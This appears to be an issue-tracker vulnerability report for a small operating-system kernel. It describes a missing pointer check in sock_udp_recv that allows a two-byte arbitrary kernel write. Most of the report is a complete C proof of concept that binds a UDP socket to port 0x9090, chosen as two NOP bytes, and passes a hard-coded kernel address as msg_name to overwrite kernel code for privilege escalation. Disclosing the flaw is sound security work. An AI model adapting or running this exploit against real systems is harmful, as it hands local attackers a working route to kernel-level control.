Open
Description
The msg->msg_name
pointer is not validated in sock_udp_recv
function. An attacker can provide arbitrary kernel address (no KASLR) to msg->msg_name
and the value of udp_packet->source_port
will be written to the specified memory, value of source_port
is user controllable by binding a UDP socket to a specific port number from 0 to 0xffff.
if (msg->msg_namelen == sizeof(struct sockaddr_in)) {
if (msg->msg_name) {
((struct sockaddr_in*)msg->msg_name)->sin_family = AF_INET;
((struct sockaddr_in*)msg->msg_name)->sin_port = udp_packet->source_port; // <----------
((struct sockaddr_in*)msg->msg_name)->sin_addr.s_addr = data->source;
}
}
With this 2 byte arbitrary write an attacker can carefully overwrite kernel memory (kernel code or a structure) to achieve local privilege escalation.
POC to overwrite kernel code:
#include <netinet/in.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#define MSG_LEN 0x10
#define PORT 0x9090 // nop; nop; but also a port number
#define WHERE 0x11ec54 // Target address, where to write
int main(int argc, char * argv[]) {
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock < 0) {
printf("error creating socket\n");
exit(-1);
}
printf("Socket created: %d\n", sock);
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
if (bind(sock, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
printf("Bind failed\n");
close(sock);
exit(-1);
}
printf("Binded socket to local ip and port %x\n", PORT);
char msg[MSG_LEN] = "AAAAAAAA";
struct iovec _iovec = {
(void*)msg, MSG_LEN
};
struct msghdr header = {
.msg_name = &server_addr,
.msg_namelen = sizeof(struct sockaddr_in),
.msg_iov = &_iovec,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
if (sendmsg(sock, &header, 0) < 0) {
printf("sendmsg failed\n");
exit(-1);
}
printf("message sent successfully\n");
memset(&server_addr, 0, sizeof(server_addr));
char msg2[MSG_LEN];
struct iovec _iovec2 = {
(void*)msg2, MSG_LEN
};
struct msghdr header2 = {
.msg_name = WHERE,
.msg_namelen = sizeof(struct sockaddr_in),
.msg_iov = &_iovec2,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
// Trigger arbitrary memory write
if (recvmsg(sock, &header2, 0) < 0) {
printf("recvmsg failed\n");
exit(-1);
}
return 0;
}
Metadata
Metadata
Assignees
Labels
No labels